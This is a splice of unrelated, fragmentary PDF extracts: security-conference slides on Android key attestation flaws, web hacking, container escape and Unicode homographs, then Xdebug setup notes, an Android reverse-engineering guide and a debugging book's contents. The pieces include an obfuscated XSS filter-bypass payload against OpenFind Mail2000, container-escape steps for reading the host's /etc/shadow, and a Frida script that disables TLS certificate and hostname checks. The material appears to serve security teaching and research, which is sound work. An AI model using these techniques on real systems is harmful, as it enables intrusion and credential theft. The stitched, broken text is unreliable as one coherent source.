Use a unique IV / misuse resistant AEAD (AES-GCM-SIV) / Tink
●
Disallow choice of encryption version
●
Reduce attack surface in security-critical application
●
Always use the latest encryption version
The Gap in Composability
●
Key attestation does not commit to the cryptographic method
●
Closed vendor-specific implementation
The Gap in Composability
●
Key attestation does not commit to the cryptographic method
●
Closed vendor-specific implementation
●
Include encryption version in attestation certificate
●
Uniform open-standard by Google for the Keymaster HAL and TA
Image from Android Developers Blog
Conclusions
Fragmented blackbox designs -> dangerous pitfalls
Open standard design
Conclusions
Fragmented blackbox designs -> dangerous pitfalls
Open standard design
No Security By Obscurity
Formal analysis by independent researchers
Conclusions
Fragmented blackbox designs -> dangerous pitfalls
Open standard design
No Security By Obscurity
Formal analysis by independent researchers
Decades of IV reuse in AES-GCM
Misuse-resistant AEAD / cryptography library
Any questions?
Designed using resources from Flaticon.com
●
Extended paper: https://eprint.iacr.org/2022/208.pdf
●
Tool + PoC: https://github.com/shakevsky/keybuster
@shakevsky
@eyalr0
[email protected] | pdf |
LionBug @ HITCON-CMT
About Me
● a.k.aLionBug
● Co-founder of UCCU
● Know a little
● Web Security
LinkedIn
http://thehackernews.com/2016/05/linkedin-account-
hack.html
LinkedIn
17
wooyun
/show.php?id=xxxxx
A
B
C
D
Admin
ASUS Cloud (0day?)
/webrelay/directdownload/xxxxxxxx/?
dis=xxxx&fi=2040452
ASUS Cloud (0day?)
XSS
Hacker Friendly
EC-Council
EC-Council
?????????
Google
SQL injection
drop table …
…
● (IP)
●
● (Shellshockstruts2)
●
APT
●
●
●
●
HP
NAS
proxy
Tor
WIFI
WIFI
80 110 143 443 808 8080
● phpmyadminfckeditor…
●
● SQL injection
● Wordpress … CMS
SQL injection
session
VM
webshell
● phpmyadminfckeditor
● ( …)
● SQL injection ( ...)
● ()
??????????
au4a83
pass
●
●
●
●
● 192.168.0.0 172.168.0.0
● db.xx.xx.xx192
…
MD5
sha256 …
●
●
●
● WAF
()
0day
WAF
Web Hacking Orange
http://hitcon.org/2015/CMT/download/day1-c-r0.pdf
WAF
WAF
db
OpenFind Mail2000
Cookie
Cookie
OpenFind Mail2000
Xss (1)
IECSSJS
0dayFix
OpenFind Mail2000
Xss (2)
XSS
0dayFix
OpenFind Mail2000
Xss (3)
● onclick xonclick
● script scrips
● html ??
OpenFind Mail2000
<html></html><<html></html>s<html></
html>c<html></html>r<html></html>i<html></
html>p<html></html>t<html></
html>><html></html>a<html></html>l<html></
html>e<html></html>r<html></html>t<html></
html>(<html></html>'<html></html>x<html></
html>s<html></html>s<html></html>'<html></
html>)<html></html>;<html></html><<html></
html>/<html></html>s<html></html>c<html></
html>r<html></html>i<html></html>p<html></
html>t<html></html>>
XSS Payload
OpenFind Mail2000 XSS
4.56.0
...
0day ...
https://vulreport.net/vulnerability/detail/29
OpenFind Mail2000
Xss (4)
script
https://zeroday.hitcon.org/vulnerability/
ZD-2016-00062
XSS
Xss every where
OpenFind Mail2000
modify_id ??
admin
https://zeroday.hitcon.org/vulnerability/
ZD-2016-00031
()
code review
87
●
●
●
● GBK GB2312 GB18030
● .php .jsp .asp …
●
webshell
Webshell
AWS
httpsaws
4 5
robots
()
Watch Dogs
.NET
●
● WIFI()
●
0day
● ePage (IonCube v9 )
● RulingDigital
●
ePage
http://xxx.xxx.xxx/admin
Q & A | pdf |
CONTAINER ESCAPE IN 2021
关于我
l 基础设施安全工程师 @蚂蚁集团
l 安全研究与研发
l Linux 内核/虚拟化/容器/底层安全
l HITB, CanSecWest, Syscan360…
目录
l 容器逃逸简介
l 新的容器逃逸方法
l 防御方法
1. 容器逃逸简介
容器简介
l Docker诞生于2013年,OS层的虚拟化技术
l 应用级别的抽象
l 轻量,标准,隔离
Docker简介
l namespaces:隔离
l cgroups: 资源控制
l UnionFS:镜像共享与分发
容器安全
l 天下没有免费的午餐:性能 vs 安全
l 容器与宿主机弱隔离
l 共享同一个内核
容器逃逸类型
l 容器引擎漏洞
l 不当的权限配置
l 内核漏洞
特权CAP
l CAP_SYS_MODULE
l CAP_SYS_ADMIN
l CAP_DAC_READ_SEARCH
敏感mounts
l sysfs/procfs/tracingfs/debugfs
Usermode helper程序:概念
l 从 Linux 内核发起的程序执行
通过Usermode helper进行逃逸
C: 准备helper程序
C: 将helper写入内核
H: 触发helper被执行
H: helper读取宿主机/etc/shadow
H: helper将/etc/shadow写入容器
C: 读取宿主机/etc/shadow
Usermode helper例子
l /proc/sys/kernel/modprobe
l /proc/sys/kernel/core_pattern
l /sys/kernel/uevent_helper
l /sys/fs/cgroup/*/release_agent
l /proc/sys/fs/binfmt_misc, 尚无公开exploit
2. 新的容器逃逸方法
通过binfmt_misc进行容器逃逸
binfmt_misc简介
l proc文件系统
l 用户态能够注册可执行文件处理器
l Linux内核允许任意文件格式执行
binfmt_misc接口
binfmt_misc揭秘: 用法
l 注册: /proc/sys/fs/binfmt_misc/register
l 显示: /proc/sys/fs/binfmt_misc/<name>
l 清除: echo -1 > /proc/sys/fs/binfmt_misc/<name>
binfmt_misc揭秘: 内核
l 内核中维护着文件类型处理器的链表formats
l execve的时候搜索搜索该链表
匹配之后执行load_binary
binfmt_misc揭秘: 注册自定义handler
l 用户注册的misc_format被插入formats链表头
l 如果有两个handler匹配
同一个可执行文件,
misc_format会被选中
通过binfmt_misc进行容器逃逸
l 可以为ELF/bash/…
注册文件执行处理器
通过binfmt_misc进行容器逃逸: poc1
l 可以为ELF/bash/…
注册文件执行处理器
通过binfmt_misc进行容器逃逸: poc1(继续)
l 替换#!/bin/sh开头文件的解释器
通过binfmt_misc进行容器逃逸: poc1
l 替换#!/bin/sh开头文件的解释器
通过binfmt_misc进行容器逃逸: poc2
通过eBPF进行容器逃逸
eBPF简介
l 从1992年的cBPF发展而来
l 最开始用于网络包过滤
l eBPF能够在运行时向内核添加受限的代码
l eBPF之于内核就如JavaScript之于浏览器
l 内核领域发展最快的子系统之一
eBPF典型项目
l 网络策略
l 内核跟踪
l 运行时安全
Cilium
bpftrace
Falco
eBPF架构
eBPF核心概念
l eBPF 程序类型,决定eBPF代码执行时机
l eBPF map, 用于存储数据,内核/用户态通信
l eBPF verifier, 确保eBPF程序不会对内核造成伤害
l eBPF helper, eBPF程序能够使用的库函数
kprobe与eBPF
l kprobe, 几乎能够在内核任意地址插桩
l 包括kprobe与kretprobe
l eBPF程序能够加载到kprobe上,
kprobe执行时候触发eBPF
容器与eBPF
l eBPF/kprobe没有cgroups和namespaces的概念
l CAP_SYS_ADMIN/BPF容器能够加载eBPF程序
l 容器内部能够读取宿主机信息,控制宿主机行为
通过eBPF进行容器逃逸: 示例
通过eBPF进行容器逃逸: poc
通过eBPF进行容器逃逸: poc
通过VMM进行容器逃逸
容器运行在虚拟机中
l 容器运行在虚拟机中是一种流行模式
l 客户独占虚拟机
l 能够享受虚拟机的隔离+容器的便利
虚拟机攻击面:虚拟机设备
l 虚拟机中OS能够直接与设备进行交互
l 虚拟机中OS可以读写设备地址空间,控制设备
l QEMU中有很多漏洞设备
sysfs中的设备与驱动
l sysfs是一种类似于procfs的伪文件系统
l 通常挂载到/sys目录
l 如果容器能够挂载sysfs,就能够向sysfs
写入/读取数据
通过VMM中的漏洞进行容器逃逸
l 容器内部挂载sysfs之后与虚拟设备交互
l 虚拟设备有漏洞
l 通过虚拟机设备的漏洞实现容器逃逸
通过VMM中的漏洞进行容器逃逸: poc
l Gaoning Pan, Xingwei Lin的scavenger
l QEMU逃逸PoC:
https://github.com/hustdebug/scavenger
通过VMM中的漏洞进行容器逃逸: poc
3. 防御方法
binfmt_misc 逃逸
l 安全容器, kata/gVisor
l 容器drop CAP_SYS_ADMIN(不能remount)
l Usermode helper白名单
(CONFIG_STATIC_USERMODEHELPER_PATH)
l LSM(Apparmor, SELinux)
eBPF 逃逸
l 容器drop CAP_SYS_ADMIN(不能remount)
l 限制容器内使用eBPF程序
l eBPF程序签名(内核进行中)
VMM 逃逸
l 安全容器, kata/gVisor
l 容器drop CAP_SYS_ADMIN(不能remount)
l 及时推动VMM的漏洞修复
M A N O E U V R E
感谢观看!
KCon 汇聚黑客的智慧 | pdf |
关于Xdebug3的一些记录
因为周末升级了下phpstorm,发现最新版的phpstorm支持的是xdebug3,所以记录了一下调试
xdebug3的一些东西。
环境
windows
phpstorm 2020.3
xdebug3
配置
1. 去xdebug官网下载对应的版本:https://xdebug.org/download,并把dll文件复制到php的ext文
件夹下
2. 接着在php.ini下添加以下配置:
这里就是一个踩坑点,以上是xdebug3的配置语法。因为xdebug3和xdebug2配置的语法有改进,并且
默认端口从9000变成了9003,网上大多都是xdebug2的配置:
如果按xdebug2的配置的话会报错:
其他xdebug的语法更新配置可以查看更新文档:https://xdebug.org/docs/upgrade_guide
[Xdebug]
xdebug.idekey = PHPSTORM
zend_extension = "E:\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug-
3.0.1-7.3-vc15-nts-x86_64.dll"
xdebug.remote_handler = "dbgp"
xdebug.mode = debug
xdebug.client_host = localhost
xdebug.client_port = 9003
[Xdebug]
xdebug.idekey = PHPSTORM
zend_extension = "E:\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug-
3.0.1-7.3-vc15-nts-x86_64.dll"
xdebug.remote_enable = on
xdebug.remote_host = localhost
xdebug.remote_post = 9000
Xdebug: [Config] The setting 'xdebug.remote_enable' has been renamed, see the
upgrading guide at https://xdebug.org/docs/upgrade_guide
Xdebug: [Config] The setting 'xdebug.remote_host' has been renamed, see the
upgrading guide at https://xdebug.org/docs/upgrade_guide
Xdebug: [Config] The setting 'xdebug.remote_mode' has been renamed, see the
upgrading guide at https://xdebug.org/docs/upgrade_guide
Xdebug: [Config] The setting 'xdebug.remote_port' has been renamed, see the
upgrading guide at https://xdebug.org/docs/upgrade_guide
3. phpstorm中的配置:
配置php
配置debug(可以看到监听端口更新为了9003)
配置Servers
配置configurations
4. 需要安装的浏览器插件(我用的chrome)
Xdebug helper:
JetBrains IDE Support:
到这里就算配置完了。不过我当时遇到些问题。启动的时候又报错了:
Cannot accept external Xdebug connection
$_SERVER["SERVER_NAME"] is empty, it may be caused by web server
misconfiguration.
Nginx: add fastcgi parameter to nginx configuration, more
Apache: configure ServerName for current VirtualHost, more
这里又是一个踩坑点,找了好久网上都没有具体的解决方案(都是说回滚版本到phpstorm2020.1且不
用xdebug3)
后来终于找到个解决方法:https://recordit.co/J1PMoHobSR
添加一个系统变量PHP_IDE_CONFIG,变量值为 serverName=上面配置servers中的name
成功 | pdf |
1
Weaponizing Unicode: Homographs
Beyond IDNs
2
Who Am I
The Tarquin (aka Aaron M Brown)
Senior Security Engineer
Amazon.com
3
Disclaimers
4
5
WTF, Why?
“The human race will begin solving its problems on the day
that it ceases taking itself so seriously.” - Malaclypse the
Younger
6
Scope, Context, and Prior Art
http://www.xn--exmple-qxe.com/
7
8
The Dark Corners of Unicode
ꓮvs
vs ᴀ vs
9
Quiz Time
Α
Uppercase Greek Alpha u+0391
10
Quiz Time
ı̇
Latin Small Letter Dotless I (u+0131) + Combining Dot Above (u+0307)
11
Quiz Time
Mathematical MonoSpace Capital Z u+1D689
12
Quiz Time
₨
Rupee Sign, u+20A8
13
Not to be Confused With
₹
Indian Rupee Sign, u+20B9
14
Quiz Time
ᚁ
Ogham letter Beith u+1681
15
Let’s Hack Shit
16
Search and Indexing
17
Do you want to play a game‽
18
Defeating Plagiarism Detection
19
Defeating Plagiarism Detection
20
Lol text analysis
21
Lol text analysis
22
Lol spellcheck
23
Lesson 1: Unicode support usually
just means “passed my unit tests”.
24
Defeating ML Systems
“Explanations exist; they have existed
for all time; there is always a well-
known solution to every human
problem [which is] neat, plausible, and
wrong.” - H. L. Mencken
25
Default Data Set
26
Homographs, in MY Training Set?
27
100% Homographs in Neg Training
28
10% Homographs in Neg Training
29
Sabotaging a Cinematic Masterwork
30
Sabotaging a Cinematic Masterwork
31
Sabotaging a Cinematic Masterwork
32
Lesson 2: ML overindexes on
human-invisible patterns. If a human
could see them, we wouldn’t be
using ML.
33
34
But emojis aren’t the real problem
35
Demo
36
Mitigation: Code Quality
37
Lesson 3: Homographs work
because people take don’t actually
see text; they see whatever it
represents.
38
Canary Traps, And Repudiation
Canary Traps: because you want to know who’s
“singing”
39
Canary Traps, And Repudiation
40
Homographs, Canary Traps, And
Repudiation
41
Homograph Bombs
Go ́ód ñ̃ evvs, h
cke
₨
⇥
⇤
42
And now, for the world’s most boring demo...
43
Tool Intro: samesame
Because small, sharp tools are the best.
44
Tool Intro: samesame
45
Defense
“Every man takes the limits of his own field of
vision for the limits of the world.” - Arthur
Schopenhauer
46
Demo Time!
47
OCR Defense
Why do this instead of $alternative?
48
Lesson 4: Defenses work best when
they directly exploit attacker
incentives
49
Conclusions!
Phenomenology is king.
Hacking computer is fun; hacking people is more effective
Unicode is a delightfully absurd monstrosity and I love it.
50
Greetz
Amazon colleagues especially David Gabler and Nikki
Parekh
The Additional Payphones Crew: cibyr, cobells, giskard,
dirac, and turbo
All the DefCon organizers, goons, and other crew
51
ƀ
ө ᶌ
ɨ ⲅ &Α
Ꭵԁ | pdf |
安卓APP在各种场景下的调试总结
前言
做此项工作的原因在于笔者之前在CTF比赛中遇到Android逆向类型的题目时,因为只有一个安卓手机作
为主力机,出于安全考虑以及手机厂商限制通常很难获得root权限,再比如使用模拟器则通常面临x86
环境下调试arm native模块的困难,常常因为调试问题困扰很久,于是下定决心折腾一番,希望能对各
位在各种不同限制条件下能够对安卓APP进行调试有所帮助,其中难免遗漏或错误之处也欢迎各位师傅
指正。
如何动态运行待调试的APP
想要调试一个安卓APP,首先最基本的就是要具备一个可以将其动态运行起来的环境,这个环境整体上
可以分为模拟器环境和真机环境。
模拟器
模拟器方面大致是有三种不同的选择,可以在不同条件下选择合适的:
基于VirtualBox的安卓模拟器,以逍遥、夜神等为代表的市场上最常见的一类模拟器,核心是基于
VirtualBox的x86虚拟机,在虚拟机中安装安卓操作系统。
优点:1.可以使用硬件虚拟化技术加速 2.模拟整个操作系统,提供了极为完整的软件运行环
境,软件兼容性较强
缺点:1.该类模拟器虚拟机中通常安装x86平台的安卓系统,在运行只含有arm平台native库
的APP时可能会出现问题,可以尽量选择安卓9.0或11.0及以上版本的该类模拟器,其中新增
的指令翻译技术可以让x86平台模拟运行arm指令,此外,使用IDA pro对native层模块进行调
试时会报错,即arm native层模块在此环境下能运行但是不能调试,具体可能是由于指令转译
机制的存在导致。
BlueStacks为代表的基于API翻译技术的,原理是把Android底层API接口翻译成Windows API
优点:1.因为采用API翻译,其运行效率高,且对PC硬件本身没有硬件虚拟化要求,在硬件兼
容性方面有一定的优势
缺点:1.Bluestacks需要翻译的Android接口数量巨大,很难面面俱到,软件兼容性方面欠佳
2.该类模拟器同样通常支持x86平台的安卓系统,在运行只含有arm平台native库的APP时可
能会出现问题,可以选择4.0及以上版本的Bluestacks模拟器,Bluestacks也具有指令翻译技
术可以让x86平台模拟运行arm指令,此外,使用IDA pro对native层模块进行调试时也会报
错,即arm native层模块在此环境下能运行但是不能调试,具体可能是由于指令转译机制的存
在导致。
Android Virtual Device,Android Studio中的模拟器组件
优点:1.可以选择模拟原生arm架构的安卓系统,软件兼容性最好,能够使用ida调试arm
native层模块
缺点:1.基于qemu模拟器进行arm安卓系统,存在巨大的指令翻译开销,速度很慢
Android Studio的安装包比较大,其实AVD组件是可以单独安装的,这里给出一个关于AVD安
装使用的小技巧,即使用官方的command-tools手动安装配置模拟器组件:
安卓真机
使用真机环境是最佳选择,但是不便之处在于:
通常主力机为了安全考虑都不会进行root,或者因为目前手机厂商限制无法root
调试机一般本身就是淘汰的旧手机,再者如果只用来调试,比如电池长时间忘记充电可能寿命很快
就会结束
具备root权限的真机环境当然是最完美的调试环境了,本文后续主要讨论无root环境下的真机环境
比较
通过以上对比,笔者在调试APP时通常首先考虑是否要进行native层且是arm架构的native模块的调试,
如果不需要则使用一般的安卓模拟器就可以方便的调试,如果需要那么通常考虑真机调试或使用AVD模
拟arm安卓系统调试。
如何获取APP的调试权限
安卓系统中想要调试APP的一个条件是APP是可调试的,即AndroidManifest.xml中的
android:debuggable=true。而通常的APP release版本通常都是取消这个属性的,那么这种情况该如何
解决呢?
//使用命令行配置安装模拟器
//列出所有可安装软件包
sdkmanager --list
//安装几个必须的组件
sdkmanager emulator
sdkmanager platform-tools
sdkmanager extras;google;Android_Emulator_Hypervisor_Driver //硬件加速驱动
sdkmanager platforms;android-31 //这个是最新的SDK,不然模拟器运行不起来
//选择一个安卓镜像,笔者测试安卓7.1.1版本是可用的
sdkmanager system-images;android-25;google_apis;arm
//创建一个device
avdmanager create avd -n avd -k "system-images;android-
25;google_apis;arm" -d 15 -p <path>
//运行
emulator\emulator.exe -avd avd
方法一:重打包设置APP可调试属性
因此APP可调试的第一种方案就是修改android:debuggable属性,具体是通过:
apktool解包→修改AndroidManifest.xml中的android:debuggable=true→apktool重打包
重新安装即可使用adb jdwp即可查看到APP可调试
这种方法优点在于不需要root权限即可完成,缺点是需要处理针对重打包相关APP加固,例如签名验证
等。
方法二:开启系统全局可调试
除了apk中的 debuggable 属性以外,可调试属性还可以在系统中的ro.debuggable全局变量指定,换句
话说,只要把系统里的 debuggable 值设为true,那么不管apk中这个属性是什么值都可以被调试了。
而这个全局变量的修改一种是通过重新刷写系统镜像,修改磁盘中的配置文件达到永久修改的效果,另
一种是通过动态修改该全局变量的内存值达到临时开启的效果。
笔者尝试的是上述第二种方法,已有的工具有mprop、magisk等,修改完成后使用stop;start命令重启
刷新adb demon进程,再使用adb jdwp即可查看到系统内所有APP可调试
这种方式的优点是一旦开启就达到全局可调试的效果,不改变APP本身所以不需要处理完整性校验,缺
点是因为ro.debuggable通常处于系统init进程中,而init进程宿主是root用户,修改init进程内存需要注
入该进程因此同样需要root权限。
APP的Java层调试
本节介绍APP Java层调试的具体流程。
JEB
Java层的调试主要是smali代码层面的,其中个人感觉最方便的还是JEB。笔者在此之前一直使用吾爱破
解网盘中老旧的JEB 2.x破解版,但现在网盘中已有3.x、4.x版本,使用体验比旧版本好很多。JEB的配置
也很简单,我这里给出一些主要注意的点:
jeb是java写的,运行依赖jre运行环境,并且对版本似乎有一些限制,笔者使用的是jdk-8u121,经
测试可以运行
jeb调试时会依赖adb工具,所以要在系统PATH中加入adb环境路径
用JEB打开APK后,可以很方便的直接选择对应的程序附加调试,如果需要调试的代码处于APP启动
期间,可以使用adb shell am start -D -n xxx.xxx.xxx,使APP启动时停在入口处等待附加调试
Ctrl+B可以对smali下断点,同时使用TAB快捷键可以打开并列窗口对照查看对应位置的Java源码
Eclipse/Android Studio
查阅相关资料时有发现,使用apktool或dex2jar+jd-gui等工具反编译出源码,再通过Eclipse/Android
Studio调试的,但是笔者没有成功,有经验的小伙伴可以补充一下,但是整体来看配置要比JEB繁琐很
多。
Frida
Frida本身并不是一个调试工具,但笔者把他写在这里因为他可以通过hook打印log,对程序流程进行粗
粒度的调试。其实很多时候对Java层并不需要很细粒度的调试,很多时候只希望打印出一些log辅助代码
的理解,同时JEB等工具的调试速度还是比较慢,那么frida就是一个很方便实用的选择,不仅可以打印
参数、返回值,还能通过hook改变程序的执行。
Frida最方便的就是因为hook代码是使用JS编写,可以很方便的解析Java代码中的数据,笔者给出一段今
年ByteCTF中的解题代码作为示例:
//ByteCTF{b6b31f89-a3ee-4169-a72b-f2807c743d26}
Java.perform(function () {
console.log("Script loaded successfully ");
var b1_a_b = Java.use('b1.a$b')
b1_a_b.checkServerTrusted.implementation = function (arg1,arg2){
console.log("check1")
//console.log(arg1[0])
//console.log(arg1[0].getSubjectAlternativeNames())
return
};
var b1_a_a = Java.use('b1.a$a')
b1_a_a.verify.implementation = function (arg1,arg2){
console.log("check2")
//console.log(arg1)
//console.log(arg2)
return true
};
var MainActivity = Java.use('com.bytedance.bytecert.MainActivity')
var getPackageName_count = 0
MainActivity.getPackageName.implementation = function (){
APP的Native层调试
本节介绍APP Native层调试的具体流程。
getPackageName_count++
if(getPackageName_count == 2){
console.log("hook return:com.ss.android.ugc.aweme")
return "com.ss.android.ugc.aweme"
}
var res = this.getPackageName()
//console.log(res)
return res
};
/*
var c1_b = Java.use('c1.b')
var count = 0
c1_b.b.implementation = function (arg){
console.log(new String(arg))
count++;
if(count == 1){
console.log("hook return:078236002e6a2622e7da614851211942")
return "078236002e6a2622e7da614851211942"
}
var res = this.b(arg)
console.log(res)
return res
};
*/
var android_util_Log = Java.use('android.util.Log')
android_util_Log.d.overload('java.lang.String',
'java.lang.String').implementation = function (arg1,arg2){
console.log(arg2)
return 0
}
});
笔者主要尝试了使用ida pro对Native层模块的动态调试。ida pro的动态调试需要首先在手机中执行
android server服务,然后使用PC端的ida pro进行连接。而根据安卓系统的设计理念,每一个APP是拥
有一个独立的沙盒执行环境,只有沙盒内部的程序或拥有root权限的外部程序才能访问沙盒内的数据,
因此就要求启动android server服务时必须满足上述要求。
有root权限下Native层调试
如果手机已经root,那么就很简单了:
直接使用adb push将android server程序传入手机,笔者通常选择/data/local/tmp这个目录,这
个目录是临时目录且可以设置执行权限,此外,笔者测试通常sdcard或者storage相关的目录一般
都不具有执行权限。
启动服务:chmod +x android_server && ./android_server
配置端口转发:adb forward tcp:<port> tcp:<port>
接着使用PC端的ida pro连接远程android_server,即可选择附加远程进程调试。
无root权限下Native层调试
这是我们大多时候面临的情况,这时就要用到一个小技巧,就是run-as命令,可以在未root的情况下查
看某个(debug模式的)应用的内部信息,相当于执行了run-as后,就会切换到一个沙盒内部用户的身份。
具体的使用方式为:run-as <packagename>
可是拥有了沙盒内部操作权限,还有一个问题需要解决,那就是如何把android server传到沙盒内,一
个沙盒的可访问目录范围通常是/data/data/<packagename>,沙盒内部和其余目录之间文件访问是严
格隔离的,如果APP具有外部存储器访问权限那么似乎可以访问/sdcard相关目录,但安卓6.0版本需要
动态申请该权限,这就对被调试的APP本身做了一些限制要求,不是很方便。笔者这个主要给出两个解
决方案:
在apk重打包时,将server的bin文件放入lib目录中,对应架构的目录中,apk安装后,沙盒目录中
的lib目录内即可找到该bin程序
利用/data/local/tmp中转,我们adb命令执行的用户权限是shell权限,对这个tmp目录是完全可控
的,因此可以修改权限为777,这样沙盒内部就能任意访问了。但笔者测试时发现似乎只能将其中
文件复制进沙盒内,而不能反向操作。
此外,还有一个需要注意的地方是,android server使用tcp方式通信,这要求APP需要网络访问权限,
切记在AndroidManifest.xml中加入这个权限。
因此,综上所述,无root权限下Native层调试步骤为:
AndroidManifest.xml中:android:debuggable=true,增加网络权限 <uses-permission
android:name="android.permission.INTERNET"/>
把android_server传入沙盒
直接重打包,放在lib目录下面的对应的架构目录下,安装完就有了
chmod 777 /data/local/tmp,通过这个目录中转
run-as <packagename>,启动android server
配置端口转发:adb forward tcp:<port> tcp:<port>
接着使用PC端的ida pro连接远程android_server,即可选择附加远程进程调试。
从入口处开始调试Native层模块
前面介绍的例子都是附加调试的,那么当想要分析的代码位于入口处时,怎样调试呢?
启动APP并停在入口处:adb shell am start -D -n xxx.xxx.xxx
ida附加,设置debug option为加载模块时中断,这样就可以在模块代码未执行前开始调试
查看可调试进程:adb jdwp,并记录其调试端口
将调试端口重定向到本机tcp端口:adb forward tcp:xxxx jdwp:xxxx
使用jdb恢复APP执行:jdb -connect
com.sun.jdi.SocketAttach:hostname=localhost,port=xxxx,jdb是jdk中的命令行工具 | pdf |
目 录
版权信息
版权
内容提要
历史回眸
第2版前言
第1版前言
资源与支持
第一篇 绪 论
第1章 软件调试基础
1.1 简介
1.1.1 定义
1.1.2 基本过程
1.2 基本特征
1.2.1 难度大
1.2.2 难以估计完成时间
1.2.3 广泛的关联性
1.3 简要历史
1.3.1 单步执行
1.3.2 断点指令
1.3.3 分支监视
1.4 分类
1.4.1 按调试目标的系统环境分类
1.4.2 按目标代码的执行方式分类
1.4.3 按目标代码的执行模式分类
1.4.4 按软件所处的阶段分类
1.4.5 按调试器与调试目标的相对位置分类
1.4.6 按调试目标的活动性分类
1.4.7 按调试工具分类
1.5 调试技术概览
1.5.1 断点
1.5.2 单步执行
1.5.3 输出调试信息
1.5.4 日志
1.5.5 事件追踪
1.5.6 转储文件
1.5.7 栈回溯
1.5.8 反汇编
1.5.9 观察和修改内存数据
1.5.10 控制被调试进程和线程
1.6 错误与缺欠
1.6.1 内因与表象
1.6.2 谁的bug
1.6.3 bug的生命周期
1.6.4 软件错误的开支曲线
1.7 重要性
1.7.1 调试与编码的关系
1.7.2 调试与测试的关系
1.7.3 调试与逆向工程的关系
1.7.4 学习调试技术的意义
1.7.5 调试技术尚未得到应有的重视
1.8 本章小结
参考资料
第二篇 CPU及其调试设施
第2章 CPU基础
2.1 指令和指令集
2.1.1 基本特征
2.1.2 寻址方式
2.1.3 指令的执行过程
2.2 英特尔架构处理器
2.2.1 80386处理器
2.2.2 80486处理器
2.2.3 奔腾处理器
2.2.4 P6系列处理器
2.2.5 奔腾4处理器
2.2.6 Core 2系列处理器
2.2.7 Nehalem微架构
2.2.8 Sandy Bridge微架构
2.2.9 Ivy Bridge微架构
2.2.10 Haswell微架构
2.2.11 Broadwell微架构
2.2.12 Skylake微架构
2.2.13 Kaby Lake微架构
2.3 CPU的操作模式
2.4 寄存器
2.4.1 通用数据寄存器
2.4.2 标志寄存器
2.4.3 MSR寄存器
2.4.4 控制寄存器
2.4.5 其他寄存器
2.4.6 64位模式时的寄存器
2.5 理解保护模式
2.5.1 任务间的保护机制
2.5.2 任务内的保护
2.5.3 特权级
2.5.4 特权指令
2.6 段机制
2.6.1 段描述符
2.6.2 描述符表
2.6.3 段选择子
2.6.4 观察段寄存器
2.7 分页机制
2.7.1 32位经典分页
2.7.2 PAE分页
2.7.3 IA-32e分页
2.7.4 大内存页
2.7.5 WinDBG的有关命令
2.8 PC系统概貌
2.9 ARM架构基础
2.9.1 ARM的多重含义
2.9.2 主要版本
2.9.3 操作模式和状态
2.9.4 32位架构核心寄存器
2.9.5 协处理器
2.9.6 虚拟内存管理
2.9.7 伪段支持
2.9.8 64位ARM架构
2.10 本章小结
参考资料
第3章 中断和异常
3.1 概念和差异
3.1.1 中断
3.1.2 异常
3.1.3 比较
3.2 异常的分类
3.2.1 错误类异常
3.2.2 陷阱类异常
3.2.3 中止类异常
3.3 异常例析
3.3.1 列表
3.3.2 错误代码
3.3.3 示例
3.4 中断/异常的优先级
3.5 中断/异常处理
3.5.1 实模式
3.5.2 保护模式
3.5.3 IA-32e模式
3.6 ARM架构中的异常机制
3.7 本章小结
参考资料
第4章 断点和单步执行
4.1 软件断点
4.1.1 INT 3
4.1.2 在调试器中设置断点
4.1.3 断点命中
4.1.4 恢复执行
4.1.5 特殊用途
4.1.6 断点API
4.1.7 系统对INT 3的优待
4.1.8 观察调试器写入的INT 3指令
4.1.9 归纳和提示
4.2 硬件断点
4.2.1 调试寄存器概览
4.2.2 调试地址寄存器
4.2.3 调试控制寄存器
4.2.4 指令断点
4.2.5 调试异常
4.2.6 调试状态寄存器
4.2.7 示例
4.2.8 硬件断点的设置方法
4.2.9 归纳
4.3 陷阱标志
4.3.1 单步执行标志
4.3.2 高级语言的单步执行
4.3.3 任务状态段陷阱标志
4.3.4 按分支单步执行标志
4.4 实模式调试器例析
4.4.1 Debug.exe
4.4.2 8086 Monitor
4.4.3 关键实现
4.5 反调试示例
4.6 ARM架构的断点支持
4.6.1 断点指令
4.6.2 断点寄存器
4.6.3 监视点寄存器
4.6.4 单步跟踪
4.7 本章小结
参考资料
第5章 分支记录和性能监视
5.1 分支监视概览
5.2 使用寄存器的分支记录
5.2.1 LBR
5.2.2 LBR栈
5.2.3 示例
5.2.4 在Windows操作系统中的应用
5.3 使用内存的分支记录
5.3.1 DS区
5.3.2 启用DS机制
5.3.3 调试控制寄存器
5.4 DS示例:CpuWhere
5.4.1 驱动程序
5.4.2 应用界面
5.4.3 2.0版本
5.4.4 局限性和扩展建议
5.4.5 Linux内核中的BTS驱动
5.5 性能监视
5.5.1 奔腾处理器的性能监视机制
5.5.2 P6处理器的性能监视机制
5.5.3 P4处理器的性能监视
5.5.4 架构性的性能监视机制
5.5.5 酷睿微架构处理器的性能监视机制
5.5.6 资源
5.6 实时指令追踪
5.6.1 工作原理
5.6.2 RTIT数据包
5.6.3 Linux支持
5.7 ARM架构的性能监视设施
5.7.1 PMUv1和PMUv2
5.7.2 PMUv3
5.7.3 示例
5.7.4 CoreSight
5.8 本章小结
参考资料
第6章 机器检查架构
6.1 奔腾处理器的机器检查机制
6.2 MCA
6.2.1 概览
6.2.2 MCA的全局寄存器
6.2.3 MCA的错误报告寄存器
6.2.4 扩展的机器检查状态寄存器
6.2.5 MCA错误编码
6.3 编写MCA软件
6.3.1 基本算法
6.3.2 示例
6.3.3 在Windows系统中的应用
6.3.4 在Linux系统中的应用
6.4 本章小结
参考资料
第7章 JTAG调试
7.1 简介
7.1.1 ICE
7.1.2 JTAG
7.2 JTAG原理
7.2.1 边界扫描链路
7.2.2 TAP信号
7.2.3 TAP寄存器
7.2.4 TAP控制器
7.2.5 TAP指令
7.3 JTAG应用
7.3.1 JTAG调试
7.3.2 调试端口
7.4 IA处理器的JTAG支持
7.4.1 P6处理器的JTAG实现
7.4.2 探测模式
7.4.3 ITP接口
7.4.4 XDP端口
7.4.5 ITP-XDP调试仪
7.4.6 直接连接接口
7.4.7 典型应用
7.5 ARM处理器的JTAG支持
7.5.1 ARM调试接口
7.5.2 调试端口
7.5.3 访问端口
7.5.4 被调试器件
7.5.5 调试接插口
7.5.6 硬件调试器
7.5.7 DS-5
7.6 本章小结
参考资料
第三篇 GPU及其调试设施
第8章 GPU基础
8.1 GPU简史
8.1.1 从显卡说起
8.1.2 硬件加速
8.1.3 可编程和通用化
8.1.4 三轮演进
8.2 设备身份
8.2.1 “喂模式”
8.2.2 内存复制
